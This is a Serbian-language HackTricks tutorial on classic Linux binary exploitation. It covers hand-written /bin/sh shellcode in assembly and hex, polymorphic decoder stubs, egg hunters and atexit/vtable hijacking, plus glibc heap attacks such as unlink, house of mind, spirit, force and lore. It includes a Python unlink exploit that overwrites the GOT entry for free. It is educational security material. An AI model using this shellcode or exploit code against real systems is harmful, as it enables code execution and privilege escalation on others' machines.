hacktricks/exploiting/linux-exploiting-basic-esp/README.md

31 KiB
Raw Blame History

Linux Exploiting (Osnovno)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

2.SHELLCODE

Vidi prekide kernela: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; čistimo eax
xor ebx, ebx ; ebx = 0 jer nema argumenata za prosleđivanje
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Izvršiti syscall

nasm -f elf assembly.asm —> Vraća nam .o datoteku
ld assembly.o -o shellcodeout —> Daje nam izvršnu datoteku formiranu od asemblerskog koda i možemo izvući opkodove sa objdump
objdump -d -Mintel ./shellcodeout —> Da bismo videli da je zaista naš shellcode i izvukli OpKodove

Proverite da li shellcode funkcioniše

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Da biste videli da li se sistemski pozivi pravilno izvršavaju, treba da kompajlirate prethodni program i sistemski pozivi treba da se pojave u strace ./PROGRAMA_COMPILADO

Prilikom kreiranja shellcode-ova možete koristiti trik. Prva instrukcija je skok na poziv. Poziv poziva originalni kod i dodatno stavlja EIP na stek. Nakon instrukcije poziva smo ubacili string koji nam je potreban, tako da sa tim EIP-om možemo pokazati na string i nastaviti izvršavanje koda.

PRIMER TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EKSPLOATISANJE korišćenjem Stack-a (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Lovac na jaja:

Ovo je mali kod koji prolazi kroz stranice memorije povezane s procesom u potrazi za shellcode-om koji je tamo spremljen (traži neki potpis koji je postavljen u shellcode-u). Korisno u slučajevima kada imate samo malo prostora za ubacivanje koda.

Polimorfni shellkodovi

To su šifrovani shellkodovi koji imaju male kodove koji ih dešifruju i skoče na njih, koristeći trik Call-Pop, ovde je primer Cezarove šifre:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Dodatne metode

Muratova tehnika

Na linuxu se svi programi mapiraju počevši od 0xbfffffff

Posmatrajući kako se konstruiše stek novog procesa u linuxu, može se razviti exploit tako da program bude pokrenut u okruženju u kojem je jedina promenljiva shellcode. Adresa ove promenljive se može izračunati kao: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

Na ovaj način se na jednostavan način može dobiti adresa gde se nalazi promenljiva okoline sa shellcode.

Ovo se može postići zahvaljujući tome što funkcija execle omogućava kreiranje okruženja koje ima samo željene promenljive okoline.

Formatiranje stringova za preplavljivanje bafera

sprintf pomera formatiran string u promenljivu. Stoga, možete zloupotrebiti formatiranje stringa kako biste izazvali preplavljivanje bafera u promenljivoj u koju se kopira sadržaj. Na primer, payload %.44xAAAA će upisati 44B+"AAAA" u promenljivu, što može izazvati preplavljivanje bafera.

Strukture __atexit

{% hint style="danger" %} Danas je vrlo retko iskoristiti ovo. {% endhint %}

atexit() je funkcija kojoj se prosleđuju druge funkcije kao parametri. Ove funkcije će biti izvršene prilikom izvršavanja exit() ili povratka iz glavnog programa. Ako možete da modifikujete adresu bilo koje od ovih funkcija da pokazuje na shellcode na primer, preuzete ćete kontrolu nad procesom, ali je to trenutno komplikovanije. Trenutno su adrese funkcija koje treba izvršiti sakrivene iza nekoliko struktura i na kraju adrese na koje pokazuju nisu adrese funkcija, već su šifrovane sa XOR-om i pomerajima sa slučajnim ključem. Tako da je ovaj vektor napada trenutno vrlo malo koristan, barem na x86 i x64_86 arhitekturama. Funkcija za šifrovanje je PTR_MANGLE. Druge arhitekture poput m68k, mips32, mips64, aarch64, arm, hppa... ne implementiraju funkciju za šifrovanje jer vraćaju isto što su primile kao ulaz. Dakle, ove arhitekture bi bile podložne ovom vektoru napada.

setjmp() & longjmp()

{% hint style="danger" %} Danas je vrlo retko iskoristiti ovo. {% endhint %}

Setjmp() omogućava čuvanje konteksta (registara)
longjmp() omogućava obnavljanje konteksta.
Sačuvani registri su: EBX, ESI, EDI, ESP, EIP, EBP
Ono što se dešava je da se EIP i ESP prosleđuju kroz funkciju PTR_MANGLE, tako da su arhitekture podložne ovom napadu iste kao i gore navedene.
Koriste se za oporavak grešaka ili prekide.
Međutim, prema onome što sam pročitao, ostali registri nisu zaštićeni, tako da ako postoji call ebx, call esi ili call edi unutar funkcije koja se poziva, kontrola može biti preuzeta. Ili takođe možete modifikovati EBP da biste promenili ESP.

VTable i VPTR u C++

Svaka klasa ima Vtabelu koja je niz pokazivača na metode.

Svaki objekat klase ima VPtr koji je pokazivač na niz svoje klase. VPtr je deo zaglavlja svakog objekta, tako da ako se postigne prepisivanje VPtr-a, može se modifikovati da pokazuje na lažnu metodu tako da izvršavanje funkcije ode do shellcode-a.

Prevantivne mere i izbegavanja

Zamena Libsafe-a

Aktivira se sa: LD_PRELOAD=/lib/libsafe.so.2
ili
“/lib/libsave.so.2” > /etc/ld.so.preload

Pozivi nekih nesigurnih funkcija se presreću sigurnijim. Nije standardizovano. (samo za x86, ne za kompilacije sa -fomit-frame-pointer, ne statičke kompilacije, ne sve ranjive funkcije postaju sigurne i LD_PRELOAD ne radi na binarnim fajlovima sa suid).

ASCII Armored Address Space

Sastoji se od učitavanja deljenih biblioteka od 0x00000000 do 0x00ffffff kako bi uvek postojao bajt 0x00. Međutim, ovo zaista ne zaustavlja skoro nijedan napad, a posebno ne u little endian formatu.

ret2plt

Sastoji se od izvođenja ROP-a tako da se pozove funkcija strcpy@plt (iz plt-a) i usmeri se ka ulazu u GOT i kopira prvi bajt funkcije koja se želi pozvati (system()). Zatim se isto radi usmeravajući se ka GOT+1 i kopira se drugi bajt system()... Na kraju se poziva sačuvana adresa u GOT koja će biti system()

Kavezi sa chroot()

debootstrap -arch=i386 hardy /home/user —> Instalira osnovni sistem u određeni poddirektorijum

Administrator može izaći iz ovih kaveza tako što će uraditi: mkdir foo; chroot foo; cd ..

Instrumentacija koda

Valgrind —> Traži greške
Memcheck
RAD (Return Address Defender)
Insure++

8 Preplavljivanje hipa: Osnovni eksploiti

Dodeljeni blok

prev_size |
size | —Zaglavlje
*mem | Podaci

Slobodan blok

prev_size |
size |
*fd | Ptr naprednog bloka
*bk | Ptr nazadnog bloka —Zaglavlje
*mem | Podaci

Slobodni blokovi su u listi dvostruko povezanih (bin) i nikada ne mogu biti dva slobodna bloka zajedno (spajaju se)

U "size" postoje bitovi koji pokazuju: Da li je prethodni blok u upotrebi, da li je blok dodeljen putem mmap() i da li blok pripada primarnoj areni.

Ako se oslobodi blok i bilo koji od susednih blokova je slobodan, oni se spajaju pomoću makroa unlink() i novi, veći blok se prosleđuje frontlink() da ga ubaci u odgovarajući bin.

unlink(){
BK = P->bk; —> BK novog bloka je onaj koji je imao blok koji je već bio slobodan
FD = P->fd; —> FD novog bloka je onaj koji je imao blok koji je već bio slobodan
FD->bk = BK; —> BK sledećeg bloka pokazuje na novi blok
BK->fd = FD; —> FD prethodnog bloka pokazuje na novi blok
}

Dakle, ako uspemo da modifikujemo P->bk sa adresom shellcode-a i P->fd sa adresom unosa u GOT ili DTORS manje 12, postiže se:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

I tako se izvršava shellcode prilikom izlaska iz programa.

Takođe, 4. izjava unlink() piše nešto i shellcode mora biti prilagođen za ovo:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Ovo uzrokuje pisanje 4 bajta počevši od 8. bajta shellcode-a, tako da prva instrukcija shellcode-a mora biti skok kako bi preskočila ovo i prešla na nops koji vode do ostatka shellcode-a.

Stoga se exploit kreira:

U buffer1 ubacujemo shellcode počevši od skoka kako bi prešao na nops ili na ostatak shellcode-a.

Nakon shellcode-a ubacujemo punjenje dok ne dođemo do polja prev_size i size sledećeg bloka. Na ovim mestima ubacujemo 0xfffffff0 (tako da se prev_size prepiše da ima bit koji kaže da je slobodan) i “-4“(0xfffffffc) u size (da bi kada proveri u 3. bloku da li je 2. bio slobodan, zapravo ode na modifikovani prev_size koji će reći da je slobodan) -> Tako kada free() istražuje, ići će na size 3. ali će zapravo ići na 2. - 4 i misliće da je 2. blok slobodan. Tada će pozvati unlink(). Prilikom poziva unlink() koristiće se prvi podaci iz 2. dela, tako da će se tu ubaciti adresa koju želite da prepisujete - 12 (jer će u FD->bk dodati 12 na adresu sačuvanu u FD). Na toj adresi će se uneti druga adresa koja se nalazi u 2. delu, a koja će biti adresa shell koda (P->bk lažni).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtova punjenja

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Bit koji označava da je prethodni deo slobodan treba da bude 1

fake_size = pack("<I”, 0xfffffffc) #-4, da bi mislio da je "size" 3. dela 4 bajta unazad (ukazuje na prev_size) jer tu proverava da li je 2. deo slobodan

addr_sc = pack("<I", 0x0804a008 + 8) #U payloadu na početku ćemo staviti 8 bajtova punjenja

got_free = pack("<I", 0x08048300 - 12) #Adresa free() u plt-12 (biće adresa koja će biti prepisana da bi se pokrenuo shell kod drugi put kada se pozove free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Kako je rečeno, payload počinje sa 8 bajtova punjenja jer tako

payload += prev_size + fake_size + got_free + addr_sc #Menja se 2. deo, got_free pokazuje gde ćemo sačuvati adresu addr_sc + 12

os.system("./8.3.o " + payload)

unset() oslobađanje u obrnutom redosledu (wargame)

Kontrolišemo 3 uzastopna chunk-a i oslobađaju se u obrnutom redosledu od rezervisanja.

U tom slučaju:

U chunk c se stavlja shell kod

Chunk a koristimo da prepisujemo b tako da size ima deaktiviran bit PREV_INUSE tako da misli da je chunk a slobodan.

Takođe, u zaglavlju b se prepisuje size da bude -4.

Zatim, program će misliti da je "a" slobodan i u binu, pa će pozvati unlink() da ga odvoji. Međutim, pošto je PREV_SIZE u zaglavlju -4, misliće da deo "a" zapravo počinje na b+4. Drugim rečima, pozvaće unlink() na deo koji počinje na b+4, tako da će na b+12 biti pokazivač "fd", a na b+16 će biti pokazivač "bk".

Na taj način, ako stavimo adresu shell koda u bk i adresu funkcije "puts()" -12 u fd, imamo naš payload.

Tehnika Frontlink

Poziva se frontlink kada se nešto oslobodi i nijedan od susednih delova nije slobodan, ne poziva se unlink() već se direktno poziva frontlink().

Korisna ranjivost kada malloc koji se napada nikada nije oslobođen (free()).

Potrebno je:

Buffer koji može biti preplavljen funkcijom za unos podataka

Buffer koji je susedan ovom koji treba da se oslobodi i čiji će se polje fd u zaglavlju promeniti zbog prelivanja prethodnog bafera

Buffer koji treba osloboditi sa veličinom većom od 512 ali manjom od prethodnog bafera

Buffer koji je deklarisan pre koraka 3 koji omogućava prepisivanje prev_size ovog bafera

Na ovaj način, preplavljujući dva malloc-a na nekontrolisan način i jedan na kontrolisan način koji se oslobađa samo jednom, možemo napraviti eksploit.

Ranjivost double free()

Ako se dva puta pozove free() sa istim pokazivačem, dva bin-a pokazuju na istu adresu.

U slučaju da želimo ponovo koristiti jedan, to se može uraditi bez problema. U slučaju da želimo koristiti drugi, dodeliće se isti prostor, tako da bismo imali lažne pokazivače "fd" i "bk" sa podacima koje će upisati prethodna rezervacija.

After free()

Prethodno oslobođeni pokazivač se ponovo koristi bez kontrole.

8 Heap Overflow: Napredni eksploiti

Tehnike Unlink() i FrontLink() su uklonjene modifikacijom funkcije unlink().

The house of mind

Samo jedan poziv free() je potreban da bi se izvršio proizvoljni kod. Bitno je pronaći drugi deo koji može biti preplavljen od strane prethodnog i oslobođen.

Poziv free() dovodi do poziva public_fREe(mem), koji radi:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Vraća pokazivač na adresu na kojoj počinje deo (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

U [1] proverava polje size bit NON_MAIN_ARENA, koje se može promeniti da bi provera vratila tačno i izvršila heap_for_ptr() koja vrši and na "mem" ostavljajući 0 poslednjih 2.5 bajtova (u našem slučaju od 0x0804a000 ostavlja 0x08000000) i pristupa 0x08000000->ar_ptr (kao da je struct heap_info)

Na ovaj način, ako možemo kontrolisati deo na primer na 0x0804a000 i deo na 0x081002a0 će biti oslobođen, možemo doći do adrese 0x08100000 i upisati šta god želimo, na primer 0x0804a000. Kada se ovaj drugi deo oslobodi, naći će da heap_for_ptr(ptr)->ar_ptr vraća ono što smo upisali na 0x08100000 (jer se primenjuje and na 0x081002a0 koji smo videli ranije i odatle se izvlači vrednost prvih 4 bajta, ar_ptr)

Na taj način se poziva _int_free(ar_ptr, mem), odnosno _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Kao što smo videli ranije, možemo kontrolisati vrednost av, jer je to ono što pišemo u delu koji će biti oslobođen.

Kako je definisano unsorted_chunks, znamo da:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Stoga, ako u av->bins[2] upišemo vrednost __DTOR_END__-12, u poslednjoj instrukciji će biti upisana vrednost u __DTOR_END__ adresa drugog dela.

Drugim rečima, na početku prvog dela moramo staviti adresu __DTOR_END__-12 mnogo puta jer će av->bins[2] to izvući.

Na adresi na koju padne adresa drugog dela sa poslednjih 5 nula, treba upisati adresu ovog prvog dela kako bi heap_for_ptr() mislio da je ar_ptr na početku prvog dela i izvukao av->bins[2] odatle. U drugom delu, zahvaljujući prvom, prepisujemo prev_size sa jump 0x0c i size sa nečim što aktivira -> NON_MAIN_ARENA

Zatim u delu 2 stavljamo puno nops-a i na kraju shellcode

Na taj način će se pozvati _int_free(TROZO1, TROZO2) i slijediti upute za pisanje u __DTOR_END__ adresu prev_size od TROZO2 koji će skočiti na shellcode.

Za primenu ove tehnike potrebno je ispuniti još neke zahteve koji malo komplikuju payload.

Ova tehnika više nije primenjiva jer je primenjen gotovo isti zakrpa kao za unlink. Upoređuju se da li novi sajt na koji se pokazuje takođe pokazuje na njega.

Fastbin

To je varijanta The house of mind

interesuje nas izvršavanje sledećeg koda koji se dostiže nakon prve provere funkcije _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Gde je fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Na ovaj način, ako se postavi u "fb" adresa funkcije u GOT-u, na toj adresi će se postaviti adresa prepisanog dela. Za ovo će biti potrebno da je arena blizu adresa dtors-a. Tačnije, av->max_fast treba da bude adresa koju ćemo prepisati.

S obzirom da smo sa The House of Mind videli da mi kontrolišemo poziciju av.

Zato ako u polje size stavimo veličinu 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() će vratiti fastbins[-1], koji će pokazivati na av->max_fast

U ovom slučaju av->max_fast će biti adresa koja će biti prepisana (ne na koju pokazuje, već ta pozicija će biti prepisana).

Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 8, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops).

Takođe, isti lažni deo mora biti manji od av->system_mem. av->system_mem je udaljen 1848 bajtova.

Zbog nula u _DTOR_END_ i malog broja adresa u GOT-u, nijedna adresa iz ovih sekcija nije pogodna za prepisivanje, pa pogledajmo kako primeniti fastbin za napad na stek.

Još jedan način napada je preusmeravanje av ka steku.

Ako promenimo veličinu da bude 16 umesto 8, tada: fastbin_index() će vratiti fastbins[0] i možemo iskoristiti ovo da prepisujemo stek.

Za ovo ne sme biti nikakvih canary-ja ili čudnih vrednosti na steku, zapravo moramo biti u ovom: 4 bajta nula + EBP + RET

Potrebna su 4 bajta nula kako bi av bio na toj adresi i prvi element av je mutex koji mora biti 0.

av->max_fast će biti EBP i biće vrednost koja će nam omogućiti da preskočimo ograničenja.

U av->fastbins[0] će se prepisati adresa p i biće RET, tako da će se skočiti na shellcode.

Takođe, u av->system_mem (1484 bajta iznad pozicije na steku) će biti dovoljno smeća koje će nam omogućiti da preskočimo proveru koja se vrši.

Takođe, mora se ispuniti uslov da susedni deo oslobođenog dela bude veći od 8 -> Pošto smo rekli da je veličina oslobođenog dela 16, u ovom lažnom delu samo treba staviti veličinu veću od 8 (kako će shellcode biti u oslobođenom delu, na početku treba staviti skok koji će pasti na nops koji dolaze nakon polja size novog lažnog dela).

The House of Spirit

U ovom slučaju tražimo da imamo pokazivač na malloc koji može biti promenljiv od strane napadača (na primer, da je pokazivač na steku ispod mogućeg prelivanja promenljive).

Na taj način, mogli bismo da usmerimo ovaj pokazivač gde god želimo. Međutim, ne svako mesto je validno, veličina lažnog dela mora biti manja od av->max_fast i tačnije jednaka veličini koja će biti tražena u budućem pozivu malloc()+8. Zbog toga, ako znamo da se nakon ovog ranjivog pokazivača poziva malloc(40), veličina lažnog dela mora biti jednaka 48.

Na primer, ako program pita korisnika za broj, mogli bismo uneti 48 i usmeriti promenljivi pokazivač malloc-a na sledećih 4 bajta (koji bi mogli pripadati EBP-u sa srećom, tako da 48 ostaje iza, kao da je veličina zaglavlja). Takođe, adresa ptr-4+48 mora zadovoljiti nekoliko uslova (u ovom slučaju ptr=EBP), tj. 8 < ptr-4+48 < av->system_mem.

U slučaju da se ovo ispuni, kada se pozove sledeći malloc koji smo rekli da je malloc(40), kao adresi će biti dodeljena adresa EBP-a. Ukoliko napadač takođe može kontrolisati šta se piše u ovom malloc-u, može prepisati kako EBP tako i EIP sa adresom koju želi.

Ovo mislim da je zato što kada se oslobodi free() čuvaće da u adresi koja pokazuje na EBP steka postoji deo tačne veličine za novi malloc() koji se želi rezervisati, pa će mu dodeliti tu adresu.

The House of Force

Potrebno je:

  • Prekoračenje u delu koje omogućava prepisivanje wilderness-a
  • Poziv malloc() sa veličinom definisanom od strane korisnika
  • Poziv malloc() čiji podaci mogu biti definisani od strane korisnika

Prvo što se radi je prepisivanje veličine dela wilderness sa veoma velikom vrednošću (0xffffffff), tako da će svaki zahtev za memorijom dovoljno velik biti obrađen u _int_malloc() bez potrebe za proširivanjem hipa.

Drugo je promena av->top tako da pokazuje na deo memorije pod kontrolom napadača, kao što je stek. U av->top će se postaviti &EIP - 8.

Mora se prepisati av->top kako bi pokazivao na deo memorije pod kontrolom napadača:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim uzima vrednost adrese trenutnog dela wilderness-a (trenutni av->top) i remainder je tačno suma te adrese plus količina bajtova tražena od strane malloc(). Dakle, ako je &EIP-8 na 0xbffff224 i av->top sadrži 0x080c2788, tada je količina koju moramo rezervisati u kontrolisanom malloc-u kako bi av->top pokazivao na $EIP-8 za sledeći malloc():

0xbffff224 - 0x080c2788 = 3086207644.

Na taj način će se sačuvati promenjena vrednost u av->top i sledeći malloc će pokazivati na EIP i moći će ga prepisati.

Važno je znati da veličina novog dela wilderness bude veća od zahteva poslednjeg malloc(). Drugim rečima, ako wilderness pokazuje na &EIP-8, veličina će biti tačno u polju EBP steka.

The House of Lore

Korupcija SmallBin

Oslobođeni delovi se ubacuju u bin u zavisnosti od njihove veličine. Ali pre nego što se ubace, čuvaju se u unsorted bins. Deo koji je oslobođen neće odmah biti ubačen u svoj bin već će ostati u unsorted bins. Zatim, ako se rezerviše novi deo i prethodno oslobođeni može poslužiti, biće vraćen, ali ako se rezerviše veći deo, oslobođeni deo u unsorted bins će biti ubačen u odgovarajući bin.

Da bi se došlo do ranjivog koda, zahtev za memorijom mora biti veći od av->max_fast (obično 72) i manji od MIN_LARGE_SIZE (512). Ako u binu postoji komad odgovarajuće veličine zahtevanog, vraća se taj nakon što se odvoji:

bck = victim->bk; Pokazuje na prethodni komad, jedina informacija koju možemo promeniti.

bin->bk = bck; Pretposlednji komad postaje poslednji, u slučaju da bck pokazuje na stack sledećeg rezervisanog komada, dodeliće mu se ova adresa.

bck->fd = bin; Lista se zatvara tako što ovaj pokazuje na bin

Potrebno je:

Da se rezervišu dva malloc-a, tako da se prvom može izazvati prelivanje nakon što je drugi oslobođen i ubačen u svoj bin (tj. rezervisan je malloc veći od drugog komada pre prelivanja)

Da malloc rezervisan za koji je odabrana adresa od strane napadača bude kontrolisan od strane napadača.

Cilj je sledeći, ako možemo izazvati prelivanje na heap-u koji ima ispod sebe komad već oslobođen i u svom binu, možemo promeniti njegov pokazivač bk. Ako promenimo njegov pokazivač bk i ovaj komad postane prvi na listi bin i rezerviše se, bin će biti prevaren i reći će mu se da je poslednji komad liste (sledeći koji nudi) na lažnoj adresi koju smo postavili (na stack ili GOT na primer). Zbog toga, ako se ponovo rezerviše drugi komad i napadač ima dozvole na njemu, dobiće komad na željenoj poziciji i moći će da piše u njega.

Nakon što se modifikovani komad oslobodi, potrebno je rezervisati komad veći od oslobođenog, tako da modifikovani komad izađe iz unsorted binova i ubaci se u svoj bin.

Kada se nađe u svom binu, vreme je da se promeni njegov pokazivač bk preko prelivanja kako bi pokazivao na adresu koju želimo da prepisujemo.

Tako bin mora da sačeka da se dovoljno puta pozove malloc() kako bi se ponovo koristio modifikovani bin i prevario bin tako što će mu se reći da je sledeći komad na lažnoj adresi. Zatim će biti dat komad koji nas zanima.

Da bi se ranjivost izvršila što je pre moguće, idealno bi bilo: Rezervacija ranjivog komada, rezervacija komada koji će se modifikovati, oslobođenje ovog komada, rezervacija komada većeg od onog koji će se modifikovati, modifikacija komada (ranjivost), rezervacija komada iste veličine kao ranjivi i rezervacija drugog komada iste veličine koji će pokazivati na odabranu adresu.

Za zaštitu od ovog napada koristi se tipična provera da komad "nije" lažan: proverava se da li bck->fd pokazuje na žrtvu. Drugim rečima, u našem slučaju, ako pokazivač fd* lažnog komada pokazuje na žrtvu na stacku. Da bi prevazišao ovu zaštitu, napadač bi trebalo da bude sposoban da na neki način (verovatno preko stacka) upiše u odgovarajuću adresu adresu žrtve. Tako će izgledati kao pravi komad.

Korupcija LargeBin

Potrebni su isti zahtevi kao i pre i još neki, osim toga, rezervisani komadi moraju biti veći od 512.

Napad je kao i prethodni, tj. treba promeniti pokazivač bk i potrebne su sve te pozive malloc(), ali takođe treba promeniti veličinu modifikovanog komada tako da taj size - nb bude < MINSIZE.

Na primer, treba postaviti size na 1552 kako bi 1552 - 1544 = 8 < MINSIZE (oduzimanje ne sme biti negativno jer se upoređuje sa unsigned)

Takođe je uveden zakrpa da bi se to učinilo još komplikovanijim.

Raspršivanje Heap-a

Osnovna ideja je rezervisati što je više moguće memorije za heap-ove i popuniti ih jastukom od nopsa završenim shellcode-om. Takođe, kao jastuk se koristi 0x0c. Pokušaće se skočiti na adresu 0x0c0c0c0c, pa ako se neka adresa prepiše sa ovim jastukom, skočiće se tamo. Osnovna taktika je rezervisati što je više moguće kako bi se videlo da li je neki pokazivač prekoračen i skočiti na 0x0c0c0c0c u nadi da će tamo biti nops.

Feng Shui Heap-a

Sastoji se u cementiranju memorije putem rezervacija i oslobađanja kako bi se ostavili rezervisani komadi između slobodnih komada. Bafer za prelivanje će se nalaziti u jednom od tih komada.

objdump -d izvršiv —> Disas funkcije
objdump -d ./PROGRAMA | grep FUNKCIJA —> Dobijanje adrese funkcije
objdump -d -Mintel ./shellcodeout —> Da biste videli da li je zaista naš shellcode i izvukli OpCodes
objdump -t ./exec | grep varBss —> Tabela simbola, za izvlačenje adrese promenljivih i funkcija
objdump -TR ./exec | grep exit(func lib) —> Da biste izvukli adresu funkcija biblioteka (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Izvlači adresu puts koja će biti prepisana u GOT
objdump -D ./exec —> Disas sve do ulaza plt
objdump -p -/exec
Info functions strncmp —> Info o funkciji u gdb

Interesantni kursevi

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: